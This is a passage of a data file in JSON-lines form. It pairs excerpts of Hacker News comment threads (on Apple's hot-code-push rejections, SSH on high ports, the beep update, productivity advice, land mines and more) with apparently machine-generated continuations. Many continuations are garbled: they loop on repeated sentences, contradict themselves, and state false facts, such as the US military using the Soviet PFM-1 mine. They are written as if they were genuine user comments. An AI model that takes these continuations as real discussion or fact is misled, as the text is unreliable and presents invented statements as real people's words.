team to see if we can get a more\nspecific explanation of what they think they are allowing.\n\nWe're also reaching out to the security team to see if we can get a more\nspecific explanation of what they think they are allowing.\n\n~~~\nmrmrcoleman\nI'm the CEO of Rollout.io.\n\nWe've been following this thread", "input_text": " a\nbandwidth limit, interconnecting with the entire mind. We aren't Von Neumann\narchitectured.\n\nPS: there's an argument that we might not be able to grasp intelligence\nitself, if its and its components' irreducible complexity is greater than any\nperson's working memory - even if we formalize a correct model, we mightn't\ngrasp it ourselves. Thus, IA may be essential for AI. Or, AI is essential for\nAI.\n\n \nApple starts rejecting apps with \u201chot code push\u201d features - dylanpyle\nhttps://forums.developer.apple.com/thread/73640\n======\nadjunct\nI'm Erez Rusovsky, the CEO of Rollout.io\n\nRollout's mission has always been, and will always be about helping developers\ncreate and deploy mobile apps quickly and safely. Our current product has been\na life saver for hundreds of apps by allowing them to patch bugs in live apps.\n\nWe were surprised by Apple's actions today. From what we've been able to\ngather, they seem to be rejecting any app which utilizes a mechanism of live\npatching, not just apps using Rollout.\n\nRollout has always been compliant with Apple's guidelines as we've detailed in\nthe past here: [https://rollout.io/blog/updating-apps-without-app-\nstore/](https://rollout.io/blog/updating-apps-without-app-store/)\n\nOur SDK is installed in hundreds of live apps and our customers have fixed\nthousands of live bugs in their apps.\n\nWe are contacting Apple in order to get further clarification on why Rollout\ndoesn't fall under the clause that lets developers push JS to live apps as\nlong as it does not modify the original features and"} +{"output_text": "\nCountSessine\nYou're right that the SII doesn't have pentile, but the SII _plus_ does.\n\nThe SII is a great phone, but it's not a match for the iPhone in hardware.\n\n~~~\nmrichman\nI have the SII and I don't notice the difference. I have the SII plus and I\ndon't notice the difference either. I have the SII and I notice the difference\nbut I", "input_text": " the Messages app?) but the raw power of the\nthing more than makes up for these shortcomings. For me.\n\nMy long-winded point is this: beauty is in the eye of the beholder. We cannot\nproperly rate these devices outside the context of the person using it. If you\nagree with the criteria put forth as superior in any particular review, it\ncould very well be the device you're looking for.\n\n------\nblub\nThe Verge has rated the phone 8.6/10, not 10/10 as this article claims.\n\n~~~\nalexholehouse\nThe link is also broken...\n\n~~~\nmrsebastian\nThanks - fixing.\n\n------\nmrich\nThe Samsung Galaxy SII has been the inflection point for me. Such a great\ndevice, beats the iPhone in hardware and matches it in software (except in\npolish of some apps).\n\n~~~\nCountSessine\nHuh? Slower GPU, lower resolution screen, Pentile... that's better hardware?\nAnd Touchwiz? Really?\n\n~~~\nmrich\nSII does not have pentile. The screen is bigger and much brighter than the\niPhone's, which is more useful to me than 300+ppi (which was only done for\ntechnical reasons anyway, to get backwards compatibility with the old apps due\nto the 2x factor) The phone is snappy no matter what you do (it's quite\namazing to see 10+ app updates download and install in parallel, and complete\nin 30 seconds). GPU, I don't care about (not much of a gamer), Touchwiz I\ndon't like either (I use the MIUI ROM). I agree for people without any tech\nexpertise iPhone is still the best choice.\n\n~~~"} +{"output_text": "\nexplicit support for handling them correctly, it's just that the unsafe\nversion is so far from correct that it doesn't matter because it's not\nlikely to be used.\n\n~~~\nmadez\n> I believe that Rust still doesn't have explicit support for handling them\n> correctly\n\nWhat do you mean?\n\n[https://doc.rust-lang.org/src/std/src/io/Unsync.rs.html#L12...](https", "input_text": ", but is coded as a \"free speech\" issue. Similar to how many churches\ncoded marriage equality as trampling on their freedom of religion.\n\nJust to remind everyone how free speech works: You are free to say whatever\nyou want. I am free to choose to speak out against you or even pull my support\nfrom you if I disagree with what you say. My freedom extends to let me voice\nmy opposition to you just as loudly as you voice your opinions. That is not\ncensorship.\n\n~~~\nnerfhammer\nI don't think Jonathan Haidt is an astroturfer.\n\n \nBeep security update - DyslexicAtheist\nhttps://www.debian.org/security/2018/dsa-4163\n======\ngarethrees\nThe author of beep needs to read the POSIX specification on async-signal-\nsafety [1]. In particular, it is not safe to call exit, free, ioctl, putchar,\nor perror from a signal handler.\n\n[1]\n[http://pubs.opengroup.org/onlinepubs/9699919799/functions/V2...](http://pubs.opengroup.org/onlinepubs/9699919799/functions/V2_chap02.html)\n\n~~~\nmadez\n> In particular, it is not safe to call exit, free, ioctl, putchar, or perror\n> from a signal handler.\n\nWhy is it accepted by the compiler, then?\n\n~~~\nsimias\nI'll be quicker to blame the signal API than the programming language on that\nfront. Dealing with unix signals correctly and robustly is far from trivial\nand rife with footguns. For instance I believe that Rust still doesn't have"} +{"output_text": "s \u201cWhat If Apple Had Followed the Windows Model?\u201d - bd\nhttp://daringfireball.net/linked/2012/06/13/Apple\n======\njdp23\nI think the biggest problem with the \"don't copy the competition\" approach is\nthat it's often impossible to tell whether a competitor's product is really\n\"just copying\" your product, or whether it's actually a better product.\n\nIf Apple had followed the Windows model, they", "input_text": " ssh is to be able to log into one's machine from elsewhere\non the wide internet. I find it's precisely when I'm somewhere public (i.e.\ncoffee shop or public transport wifi) that I want access to my home machine -\non my work machine (i.e. in the office) anything I need is already there. If\nyou don't need it to be publicly accessible, why would you be running sshd at\nall?\n\n~~~\ntquai\nBefore I can respond to that, I think there's a misunderstanding about what\n\"public service\" means. HTTP is a public service: you open it up to the world,\nand want anyone to be able to connect to it. It is intended and hoped that as\nmany people use it as possible. If your website is slashdotted, then that's\nGREAT! In contrast, I don't want 100000 people to try logging in over SSH to\nmy private server. To put it another way, SSH is only a public service in the\ncases of:\n\n \n \n * CVS over SSH\n * rsync over SSH\n * Commercial SSH tunnels\n \n\nLogging into my authoritative nameserver over SSH, however, is not a public\nservice. And since it's not a public service -- that is, intended for the\npublic -- I don't treat it like one.\n\n~~~\nlmm\nIf you're trying to tell the rest of us something you're going to have to be\nmore concrete. So you \"don't treat it like a public service\". Great. What does\nthat actually mean? (\"I don't make it accessible on a public port from the\npublic internet\" was the most obvious technical interpretation, but it sounds\nlike you didn't mean that)\n\n \nJohn Gruber\u2019"} +{"output_text": " is\nand how little you have to do it.\n\n------\nmatt_wulfeck\nI have a simple trick that's helped me stay motivated. I set a timer for every\nhour I work. If I don't knock out at least one thing I'm supposed to be\nworking on, I put down my phone and I go do something fun.\n\nIt's a lot easier to stay motivated when you have something else to do.\n\n------\nk", "input_text": " of 3s.\n\nYou want to go from this:\n\n\\- I should really write [some great app idea]\n\nTo this:\n\n\\- I'll make a list of technologies that I want to use\n\n\\- I'll read the docs, like a book, for the ones that are new\n\n\\- I'll write a single api endpoint\n\n\\- I'll flesh out the api for the rest of a feature\n\n\\- I'll MVP a UI for that one feature, without any concern for design\n\n\\- etc.\n\nIn my case, a combination of the size of and amount of ambiguity in a task is\ninversely proportional to the ability I have to both get it underway and get\nit finished.\n\n~~~\ntlrobinson\nI've been wondering, is there a todo / task tracking app that can somehow\naggregate tasks across multiple applications?\n\nCurrently my tasks are spread across emails and email drafts, Github issues,\niOS reminders, Slack, my head, etc. It's a lot of work to keep track of them\nall.\n\nMaybe I should just carry around a paper notebook and make that the\nauthoritative source of tasks.\n\n~~~\nbeejiu\nSounds like you need a process, rather than a tool. Personally, I jot down\neverything that gets mentioned to me on paper and, within 1-2 days, it will\nend up in the project management system (if it is something to be worked on).\nOnce it's there, I strike it through in my notepad. So basically, 99% of my\nnotepad is a scribble - only 1% that I need to think about remains un-struck.\n\n------\nscotty79\nGet hired in some software corporation. You'll be amazed how easy the work"} +{"output_text": "ide.\n\n~~~\nDanBC\nAlice steals $100 worth of Tide.\n\nAlice doesn't care how much drugs she gets for that, because shop lifting is\neasier than prostitution and has lighter sentencing than robbing houses.\n\nBob sells his bottles for $5 each. That means the store can either sell at a\nbig discount for friends, or can make more profit. The margins are not good on\nTide.\n\nThis is in", "input_text": " the money trail for selling drugs, after all who thinks this looks\nlike a drug buy:\n\n \n \n Alice goes to grocery gets laundry detergent;\n Bob sells stolen detergent to a grocery for cash.\n \n\nNo way to connect Bob and Alice until you add:\n\n \n \n Alice goes to grocery gets laundry detergent;\n Alice gives Detergent to Bob for drugs.\n Bob sells stolen detergent to a grocery for cash.\n \n\nNow you can connect them and see the drug deal. Hard to get a warrant to\nsearch Bob's car for laundry detergent.\n\n~~~\nsamstave\nI have no idea how to reconcile this scenario.\n\nCan you explain it in more detail?\n\nIf alice is buying $100 worth of Tide, how much $drugs does she get for her\n$Tide?\n\nHow much $cash does Bob get for his $Tide when he sells it back to the store?\n\nHow much $Profit does the store get from the $Tide bought from Bob?\n\n~~~\nDanBC\nAlice steals $100 worth of Tide.\n\nAlice doesn't care how much drugs she gets for that, because shop lifting is\neasier than prostitution and has lighter sentencing than robbing houses.\n\nBob sells his bottles for $5 each. That means the store can either sell at a\nbig discount for friends, or can make more profit. The margins are not good on\nTide.\n\nThis is in the article on page 3.\n\n~~~\nsamstave\n> _Alice doesn't care how much drugs she gets for that_\n\nI think your explanation is wrong.\n\nAlice would _certainly_ care how much she got for $T"} +{"output_text": ", they'll stop producing them. If you're not willing to pay a little\nmore for a product that's been made in a decent way, you shouldn't be buying\nit.\n\n~~~\nforensic\nI'm not saying I'm going to boycott Apple. I'm saying that we shouldn't feel\nwhite-guilt for the Chinese. They are the ones who are responsible for their\nown working conditions. We are responsible for our own.\n\n~~~\nm_", "input_text": "/thomas_thwaites_how_i_built_a_toaster_from_scratch.html)\n\n~~~\nnaner\n_As bad as a 3rd world outsourced job is to us 1st worlder's it's still\ngenerally BETTER than what they would have otherwise. In fact Apple and other\n'outsourcers' are the one and only reason for the breath-taking trend line\nthat is China's per capita growth_\n\nThis always seemed like a bullshit argument to me. So it is marginally better\nto work 16 hour days in terrible conditions while dumping chemicals in local\ngroundwater than it is to starve to death. Well, it turns out that overworking\npeople and polluting is still bad behaviour. These outsourcing companies\nshouldn't be commended for it. Provide these people good working conditions\nand a safe environment or don't bother outsourcing.\n\nAs an analogy, you wouldn't commend me for purchasing a mail-order bride from\na poor country with sex trafficking problems. Yeah, it is marginally better\nfor her than prostitution and she'll have better living conditions, but my\nbehavior is still abusive and exploitative.\n\n~~~\nforensic\nWe can't save the world. Even if our entire country voted for it, we could not\nsave the Chinese from their own policies.\n\nThey are adults living in a sovereign nation; they are responsible for their\nown working conditions.\n\nI'm not going to feel white-guilt for stuff that happens in a foreign country\nover which I have zero control.\n\n~~~\nm_eiman\n_Even if our entire country voted for it, we could not save the Chinese from\ntheir own policies._\n\nVote with your wallet. If nobody will buy products produced using awful\nmethods"} +{"output_text": "ist on it.\n\n\\- Hold a demo for the customer. Insist on it.\n\n\\- Hold a demo for the board. Insist on it.\n\n\\- Hold a demo for the CEO. Insist on it.\n\n\\- Hold a demo for the local press. Insist on it.\n\n\\- Hold a demo for your internal team. Insist on it.\n\n\\- Hold a demo for your competitor's team. Insist on it.\n\n", "input_text": " people purely for their outputs; not as individuals with lives,\ncareer goals, interests, strengths, weaknesses.\n\n3\\. Insisting on process but not participating. E.g. scrums with no management\npresent.\n\n~~~\nravenstine\nIt depends on how you define management.\n\nPMs should probably be present during sprint planning for Scrum, but any level\nof management above PM really shouldn't be there.\n\nI worked at this one place where, as much as I dislike Scrum, we had a pretty\ngood pace going without upper management ever getting involved. Then the\nmanager of our department(not an engineering manager) decided to show up to\nall our meetings because, shit, why not, and it completely cramped our style.\nThey also began to dictate that we do things in a specific way even though our\nproductivity was fine before. Fortunately, like most non-engineers, they lost\ninterest after a month and almost never showed up again.\n\nGranted, I have found at most of my jobs that management is absent when it\nusually counts. At one place we had a \"demo day\" as part of our Scrum process,\nbut relevant parties in management almost never showed up. They would even\nclaim they would show up but always came up with an excuse at the last minute.\nIt wrecked everyone's confidence in them because a manager can't claim to say\nthings like \"product is key\" and then fail to show up to product demos every\nsingle time. Yet demo was something our management wanted us to have.\n\n~~~\nIdidntdothis\nYour last paragraph is important. At a minimum management needs to understand\nscrum and play their part.\n\n------\nGlenTheMachine\n\\- Hold a review for the customer. Ins"} +{"output_text": " encouraged or something?\n\n~~~\nianstormtaylor\nYes! :)\n\n[https://github.com/ianstormtaylor/Myth/issues](https://github.com/ianstormtaylor/Myth/issues)\nis where you can help out :)\n\n------\njasonlotito\nSite is down for me.\n\n \nThe Future of the App Store - taylorlamb\nhttps://medium.com/@taylorlamb/the", "input_text": " it'll \"just work\"? I like\nthe vendor prefix feature (although there's a 'LESS Prefixer' project too).\n\n~~~\npeferron\nIs there anything wrong with LESS + Autoprefixer? I'm using Sass +\nAutoprefixer on a project currently and it works just fine.\n\n~~~\nnawitus\nYes, I didn't know about it :). I'll probably go with autoprefixer, but with\nMyth I could also use some of the other features and perhaps aim for a slow\ntransition from LESS to CSS over the coming years.\n\n~~~\nianstormtaylor\nTotally, that's the idea :) \u2014 and yeah you should absolutely be able to post-\nprocess LESS output and have everything work fine.\n\n------\nphilliphaydon\nWhy do front-end developers not test their website cross-browser and platform?\n\nThe font chosen doesn't render properly on Windows with Opera or Chrome.\n\n~~~\nwinterswift\nCan confirm, the text renders miserably on Chrome in Windows 8. Somewhat\nironic considering the product being advertised.\n\nFor anyone wondering, here's what it looks like:\n[http://imgur.com/XbZJpC6.png](http://imgur.com/XbZJpC6.png)\n\n------\noneeyedpigeon\nInteresting. Shouldn't the 2nd \"a\" in the right column under \"Color\nManipulation\" be an \"a:hover\"?\n\n~~~\nianstormtaylor\nWhy yes, yes it should :) fixing now.\n\n------\nhabosa\nSIde note but I have never seen \"Star on GitHub\" before... does that mean\ncontributions are"} +{"output_text": " the first would be disabled by firewall rules, so it's not\nnecessarily a practical solution.)\n\nI guess the real solution is to use a more secure hash function than MD5.\n\n~~~\nmistercow\nI'm not sure I follow?\n\nIf you run multiple sshd's, you're multiplying the number of necessary guesses\nby the number of services running on each port.\n\nIf you use a more secure hash function, you're simply multiplying the", "input_text": " the electric engine concept has yet to provide a real benefit\nover combustion. (They say less solution but that's not really true is it?)\n\nAnother concept looking for a problem is crypto; as the only problems crypto\nreally solves are the ones faced when doing illegal transactions or hiding\nmoney.\n\n~~~\nmatthewmacleod\n_They make nice cars but the electric engine concept has yet to provide a real\nbenefit over combustion._\n\nThat comment has absolutely no merit whatsoever.\n\n \n\nThere's No Protection In High Ports - CrazedGeek\nhttp://bsdly.blogspot.ca/2013/02/theres-no-protection-in-high-ports.html\n\n======\nmistercow\n>obscuring your login service via non-standard ports or even a requirement to\ntry several ports in sequence really only buys you security equivalent to\nlengthening your password by two characters per port.\n\nNot even that. It's like a _separate_ two-byte password because you get to\nguess and confirm the port separately from the password.\n\nLengthening your password by N bits _multiplies_ the number of necessary\nguesses by 2^N. Having a _separate_ N bit password _adds_ 2^N to the number of\nof necessary guesses. So if your real password's effective key length is more\nthan 16 bits, using a random port effectively adds less than 1 bit of entropy.\n\nAlso, rate-limiting port scans is way harder to do than rate-limiting\nauthentication.\n\n~~~\ncpressey\nIt occurred to me that if you want to multiply the number of necessary guesses\nby running sshd on an alternate port, you'd need to run multiple sshds. (Of\ncourse all but"} +{"output_text": " old hardware.\n\n------\njancsika\n> _XFCE is a lightweight, fast, and visually stunning desktop environment for\n> Linux._\n\nI'm not sure how that's supposed to be a selling point if it's not being\nmeasured against other desktop environments.\n\n~~~\npjmlp\nIt is.\n\nIt is also compared to Windows 10, MacOS, iOS, Android, and even web browsers\nlike Google Chrome and Mozilla Firefox", "input_text": " significantly different dpi, Windows runs rings\naround anything on Linux. Windows is surely buggy - I have serious problems\nwith its multi-monitor support - but it seems that its multi hi dpi only\noccasionally crashes Firefox and it's otherwise reasonable.\n\nWith Xorg, there's no effective support for different dpi. So if you can\ntolerate the variation in pixel size then it's tolerable, but if they're too\nmuch it all breaks. Moreover, many apps completely ignore the dpi. For\ninstance, Spotify which is is almost unreadably low contrast doubles down and\nit's unreadably small too.\n\nWith Wayland, it's unusable since any seriously productive app will be shown\nat at least quadruple size the moment you require pixel doubling, X apps will\nbe pixel doubled twice and Wayland native apps all seem to be toys. This seems\nto have been a bug that was first report years ago so I suppose they're\nwaiting until someone rights a Wayland version of Firefox and Jetbrains and so\nforth.\n\nFortunately, this motivated me to by a 4k screen which I'm happy with. It's\nonly tolerably different than my hidpi laptop screen so I don't need to worry\nabout X's mono-dpi-ism. But it's still incredibly frustrating.\n\n------\npachico\nDefinitely the best flavour. You guys help me resuscitate tons of old laptops\nfor frustrated ex Windows users, which are very happy with now with their new\nOS. Great work!\n\n~~~\nEldandan\nHere, here! I love Xubuntu. Of all the lighter flavors like Kubuntu, Lubuntu,\nMint/xfce, Xubuntu has been the one I had the best experience setting up for\nothers on"} +{"output_text": " at it, and some people have to work at it. I think a lot of people\nunderstand the concept, but don't have the guts to follow through.\n\nI think the biggest problem is that there is a lot of fear associated with\nfailure. I've been in situations where I've had to make a decision that I\nknow will fail. I've also been in situations where I've had to make a decision\nthat I know will fail, but I have no idea if", "input_text": "://focuslist.co/](http://focuslist.co/) to set my agenda for the day\nearly on, then work through the list.\n\n4\\. Read \u201cDeep Work\u201d and \u201cSo Good They Can't Ignore You\u201d by Cal Newport.\n\n5\\. Reduce social media. I dropped Facebook and removed all twitter apps from\nmy phone. This is a good guide: [http://humanetech.com/take-\ncontrol/](http://humanetech.com/take-control/)\n\n6\\. Exercise for 20 minutes every morning. I bought a speed rope from\n[http://rpmtraining.com/](http://rpmtraining.com/) and now skip every morning\nwhile listening to podcasts / audiobooks.\n\n7\\. Consider getting a full-time job, or a contract with one company for 20-30\nhours a week. Having co-workers to compare yourself with and managers to be\nanswerable to is a natural motivator.\n\n~~~\ninglor\n> 1\\. Do the \u201cProductivity\u201d sessions in the Headspace app.\n\nIf you haven't done so already - do the \"Motivation\" pack too - it literally\nteaches you how to summon motivation which is phenomenal.\n\n------\nmikekchar\nI don't know exactly what your \"success\" or \"failure\" looks like to you, but I\nwill say that working in an unstructured environment (which is what you\nnormally do when freelancing) is super hard. I'm willing to bet that if you\nwere to get a 9-5 job you'd discover that you're actually outperforming most\nother people -- because the 8 years of experience you have pushing yourself.\n\nBeing \"self-driven\" is both a talent and a skill. Some people are naturally\ngood"} +{"output_text": "wikipedia.org/wiki/PFM-1)\n\n~~~\npjc50\nThe article is from 2016.\n\n------\npjc50\nThe US military has been using the PFM-1 since the Vietnam war. The BLU-43 was\na \"copycat\" design.\n\n------\npjc50\nDiscussion from 2016:\n[https://news.ycombinator.com/item?id=11671780](https://news.", "input_text": " Russian-made PFM-1 land mines\u2014the most common\n> butterfly type, possibly inspired by similar U.S. weapons deployed during\n> the Vietnam War\"_\n\nPossibly? Why is this article softballing? The Russian version of the mine is\na DIRECT ripoff of the American version. They look EXACTLY the same.\n\nHere is a BLU-43, the American version: [http://www.big-\nordnance.com/subs/BLU43OD.jpg](http://www.big-ordnance.com/subs/BLU43OD.jpg)\n\nHere is a PFM-1, the Russian version:\n[https://en.wikipedia.org/wiki/PFM-1#/media/File:Russische_Sc...](https://en.wikipedia.org/wiki/PFM-1#/media/File:Russische_Schmetterlingsmine_PFM-1.jpg)\n\nIt's the same damn mine! There is no \"possibly\" about this. The author didn't\nlie but he's damn sure being dishonest. The article never even mentions the\nBLU-43 by name, which would allow more readers to look it up and decide for\nthemselves.\n\n~~~\nwoodruffw\nLazy research, not dishonesty, is the far more likely explanation here. From\nWikipedia[1]:\n\n> a land mine of Soviet production, very similar to the BLU-43 US Army\n> landmine. Both devices are very similar in shape and principles, although\n> they use different explosives.\n\nThe author probably reworded the above.\n\n[1]:\n[https://en.wikipedia.org/wiki/PFM-1](https://en."} +{"output_text": " added some features (including dynamic\nbinding) and added some standard libraries.\n\n~~~\nriffraff\nthanks, I knew that, but I was wondering if there was a more direct comparison\nthan that.\n\n~~~\nlispm\nEmacs Lisp and Common Lisp are similar, but not the same.\n\nEmacs Lisp is based on Maclisp, but it is not Maclisp. Maclisp was a simplified\ndialect of L", "input_text": " (I'd personally prefer Common Lisp, but whatevs).\n\n------\nburtonator\nI spent about 2 years of my life in my 20s hacking on elisp constantly. I was\ninfatuated with it.\n\nThen I spent about 5-10 years using that platform as my IDE.\n\nGuess what... Last year I migrated to IntelliJ IDEA and won't EVER migrate\nback. It's kind of sad... but IDEA is insanely awesome by comparison.\n\n~~~\nTeMPOraL\nBlasphemy!\n\nOn a more serious note, could you elaborate a bit on how IDEA is \"insanely\nawesome\" compared to Emacs? What do you find more useful/enjoyable in the\nIntelliJ IDE?\n\n------\nsystems\nwho is Stefan Monnier? and why should we care about what he thinks?\n\nis he the main emacs maintainer? in other words, how seriously should we\nconsider this email?\n\n~~~\ntjr\n[http://lists.gnu.org/archive/html/emacs-\ndevel/2008-02/msg021...](http://lists.gnu.org/archive/html/emacs-\ndevel/2008-02/msg02140.html)\n\n------\nriffraff\ncan someone more knowledgeable than me explain how is elisp closer to CL than\nto Scheme?\n\n~~~\nlispm\nBoth Emacs Lisp and Common Lisp are coming from MIT's Maclisp dialect. There\nwere Emacs variants written in Maclisp or its dialects before GNU Emacs\nexisted. Emacs Lisp was a very simplified Maclisp. Common Lisp modernized\nMaclisp (especially lexical binding),"} +{"output_text": " talking about.\n\nThe problem is that corporations are people, and the law is not designed to\ndeal with people.\n\nThe law is designed to deal with people and with the way we deal with people,\nthe law is not designed.\n\nCorporations are people, and they can do things that people can't do.\n\nThe law is not designed to deal with corporations, it is designed to deal\nwith people.\n\nCorporations are people, and", "input_text": " time now.\n\n------\njokoon\nI hate to say this, and I don't think it's justified, but that's the kind of\nstuff al-qaeda would fight against.\n\nSomeday having anti-american opinions might equate with being a terrorist.\n\n~~~\nandy_ppp\nSomeday! Funny that you should say this but David Cameron wants us to never be\nleft alone by the state and anti terror laws are regularly used against people\nwho are not terrorists. The police are being militarised and the human rights\nact is being removed from law here in the UK. Someday looks like tomorrow to\nme.\n\n------\nkokey\nOpening up trade is bad by default... to those that benefit from the barriers\nthat are in place. I am always suspicious of a lot of emotive campaigning in\nresponse to trade agreements that opens up trade.\n\n~~~\nmsvalkon\nDid you by chance read the article? This has little to do with opening up\ntrade and much to do with providing ridiculous amount of power to any major\ncorporation.\n\nEDIT:\n\nSuppose I'm a producer of bottled water from Germany. I bottle a lot of water\nin California. The Californians vote to move to heavy water rationing and\nregulation due to the threat of continuous draught. This hurts my business, so\nshould I be allowed, as a corporation, to sue the state of California, have\nany possible trials and hearings within a closed courtroom and possibly\noverrule the vote?\n\n~~~\nRobertoG\nAgree, the motivation of all this is, at least, worrisome.\n\nYou should be allowed, as a corporation, to sue the state of California... in\nCalifornia. But this is not what we are"} +{"output_text": "\nyou don't need to leave the app running.\n\n~~~\nforcer\nI hate that I have to set a wake up time and then the device wakes up and\nstarts doing it's thing. I would prefer to just set the wake up time and then\ngo to sleep.\n\n~~~\nspydertennis\nYou can set the wake up time to when you go to bed, but the device will wake\nyou up a few minutes before you're", "input_text": " FCC ID is only good in the\nUSA. In Europe, you need a CE mark. Australia sometimes insists on yet another\nregistration for 2.4GHz equipment.\n\nHonestly, international RF regulatory certification is a mess, and the piles\nof paperwork involved make it easy to miss deadlines.\n\n~~~\nspydertennis\nSpot on.\n\n~~~\nbrandon\nIf you guys haven't already got a relationship with T\u00dcV, you might consider\ntalking to them about certifying your next revision. They handled all our\nregulatory (domestic and int'l) with a lot less difficulty (and deadline\nslipping) than doing it in-house.\n\n------\ninvisible\nYou should really have an \"allow my data to be used for anonymous scientific\nstudy\" option. It'd be really neat to see graphs of male vs female, young vs\nold, etc. similar to 23andme. I guess this is coming in the future with the\n\"paid\" wakelytics features?\n\n------\nmgrouchy\nCongrats to The Wakemate team for finally shipping! The device is pretty\nawesome,(I've been using during the beta) can't wait to see what these guys\nhave in store next.\n\n------\nforcer\nDoes the iPhone app needs to be running through the night for this device to\nwork? that's what I hated about Sleep Cycle and would not want to use it if it\nhas the same flaw.\n\n~~~\nspydertennis\nWhy do you hate that? You wouldn't be using your phone during the night\nanyway?\n\nIf you want the optimal wake feature to work you need to leave the app\nrunning. If you just want to collect data and wake up at a predetermined time"} +{"output_text": "'s a good chance you can get it too.\n\nI'm not a doctor, and I don't take any of this as a professional medical\nadvice. I'm just a guy who went through this process and found out that it\nworks wonders for me.\n\n------\njuskrey\nTry to find a way to get out of your routine, and go somewhere different.\n\n~~~\nan_throwaway\nI've tried that, and it's not really working", "input_text": "\nday. If I say, \"I'll go work out\" or \"I'll skip studying X this morning and do\nit tonight\" it will never happen. So, maybe looking at your most productive\ntimes of the day to see if you can put some more structure around getting\nthings going.\n\nBest of luck\n\n1 -\n[http://tokyocounseling.com/english/counselor/](http://tokyocounseling.com/english/counselor/)\n\n------\nan_throwaway\nSee if you need to get treated for ADHD. I was in a similar situation as you,\nand actually reaching out to a psychiatrist helped me immensely.\n\nYears later I have a solid business, a work routine and can actually focus on\nholding projects and things without having allergic reactions to run after the\nnext squirrel - and without abandoning something I have a sudden averse\nreaction to.\n\n~~~\nan_throwaway\nI want to just iterate that it's been far easier to treat this than I imagined\nin the first place. I've been struggling with getting this kind of help for a\nfew years, knowing that I cannot fully concentrate - and doing far too much\nonline research instead of just moving my ass ( which is a common issue ).\n\nThe Psychiatrist at first thought it was due to a \"lack of discipline\" until I\nexplained to him that I locked myself in for 2-3 months to work on my own\nprojects, just to clean up the whole house and do everything else, instead of\nthe projects I wanted/needed to work on.\n\nThe only thing you need to research is which medicine you can be prescribed,\nas some of them are not allowed in Japan. But enough foreigners went through\nthis process, so there"} +{"output_text": " guns will become weaponized in the future.\nMaybe they'll start using more powerful bullets?\n\n~~~\njames_s_tayler\nI think that's a really good idea.\n\n~~~\nmattdeboard\nI mean, it's already happening with pepper spray.\n\n------\njames_s_tayler\nI wonder if this would protect against a car crash?\n\n~~~\nfloatingatoll\nIt would protect against a car", "input_text": " somehow inherit blame from hundreds of\nyears ago when that guilt is used in an attempt to rationalize current\noppression.)\n\n \nThorShield Energy Weapon Protection Fabric - rolph\nhttp://www.thorshield.com/\n======\nnoodlesUK\nTwo things: I\u2019m sure current body armour is resistant to tasers, as the prongs\nneed to hit you in order to work, and if your armour is stopping a knife or a\nbullet, two measly little pins aren\u2019t gonna make it.\n\nIf you want a cheap and trivially accessible alternative to this, a fencing\nLame will fit the bill perfectly. It\u2019s a metal conductor in the shape of a\nvest or jacket. Whilst I haven\u2019t ever been tazed wearing one, I imagine it\nwould handle it just fine.\n\n~~~\nsteve19\nI have fired non-consumer Tasers a number of times (at targets, not a living\nthings). The thin needles of a Taser are more likely to pentrate armor than a\nlage knife. And a knife is more likely than a bullet. Bulletproof vests are\nnot necessarily knife proof, they capture bullets by binding them and\ndissipating energy rather than stopping them dead (that is what ballistic\nplates/inserts are for)\n\nThat said needle proof vets are common and used by law enforcement.\n\n------\nfloatingatoll\nIronically, their website shows \u201cNot Secure\u201d in my browsers when visited, and\nrightly so: insecure HTTP, insecure session cookies, insecure offsite JS. I\nhope they can be convinced to improve their electronic weapon defenses to the\nsame level as their energy weapon defenses.\n\n------\nmattdeboard\nI wonder if taser and other stun"} +{"output_text": " that you don't even know if they're worth pursuing?

I've been thinking about this for a while, and I've noticed that I tend to get distracted easily, and end up not doing anything for long periods of time. I have a hard time staying focused for long periods of time, and I feel like I don't get anything done.

I'm not a big fan of the Pomodoro technique, because I feel like it doesn't help with the problem.", "input_text": " be inflationary. It don't make any rational sense\nthat a government could just purchase trillions of dollars worth of it's own\ndebt with synthetic money and not have some inflationary impact (your initial\nfear). So what then? How is that massive force just being absorbed with no\nconsequence? I don't know, I don't think anyone knows. I could speculate. It's\nlikely that in a global economy China's artificially devalued currency allows\nus to print money without real inflationary consequences for us? Could be the\ndollar has become the de facto world currency and with this much wider\ncirculation the system can absorb much more inflationary pressure than\npreviously thought. Could be that this system is controlled more by behavioral\neconomics than economics. Maybe people just believe a dollar is worth about X\nand that's very sticky until it isn't. This last idea is the scariest. Our\ngovernment is just like a big bank. The value of the dollar is subjective and\nI believe serious inflation won't come in an incremental fashion, it will come\nin a black swan tidal wave. I could be wrong and I seriously hope I am!! I\njust don't think it's prudent to say, well we all thought (rationally and\nrightly) QE was going to cause inflation because it's so obviously an\naggressively inflationary policy... then since it didn't we just turn the page\nand say oh well... glad that didn't blow up the dollar. We need to understand\nwhy that didn't have an effect.\n\n \n\nAsk HN: Focus and concentration - gdberrio\n\nMaybe it's just me, but anyone else has troubles dealing with lack of Focus and concentration, ending in not getting things done and getting stuck in a \"disfuncional perfectionism\" with lots of ideas"} +{"output_text": "2) how many they actually will sell?\n\nIf you are in charge of Nintendo... and you put something out like the Wii,\nNintendo Class, etc... how do you expect to get the amount sold right on the\nfirst shot?\n\nIn my opinion? It's a damn hard problem... it only takes a little bit of\ninternet power - everyone going ape shit over something inconsequential - and\nBAM what you expected to sell 1 million units is", "input_text": " more manufacturing than you'll ever need again.\n\n~~~\npoppysan\nBut grossly under-producing infuriates people who won't be able to purchase\nthe product for months due to a silly marketing ploy. I still cannot buy the\nNintendo classic in-store, and it came out 4th quarter 2016.\n\n~~~\nwernercd\nSo... how do YOU plan on correctly predicting how popular or unpopular\nsomething is?\n\nIsn't this one of the major pain points for many small companies that put\nstuff up? Correctly gauging 1) how much it costs to mass produce something and\n2) how many they actually will sell?\n\nIf you are in charge of Nintendo... and you put something out like the Wii,\nNintendo Class, etc... how do you expect to get the amount sold right on the\nfirst shot?\n\nIn my opinion? It's a damn hard problem... it only takes a little bit of\ninternet power - everyone going ape shit over something inconsequential - and\nBAM what you expected to sell 1 million units is now out of stock and you have\nmillions of people mad.\n\nNow that millions of people want it... will they still want it in 6 months\nwhen you ramp up production or is the fad over?\n\nPeople make it seem like this is an easy question to answer... where is the\nmillions your willing to put on the line for similar questions...\n\n~~~\naanm1988\n> So... how do YOU plan on correctly predicting how popular or unpopular\n> something is?\n\nI'd pull numbers out of thin air.\n\nIsn't this one of the major pain points for many small companies that put\nstuff up? Correctly gauging 1) how much it costs to mass produce something and\n"} +{"output_text": " machines, you don't need a password for\nanything you're doing from your own machine.\n\n~~~\ntptacek\nThis is good advice, but it's not easily or quickly implementable.\n\n~~~\njulian37\nSSH agent is already enabled by default on most Linux distros. Just type\n`ssh-add` and 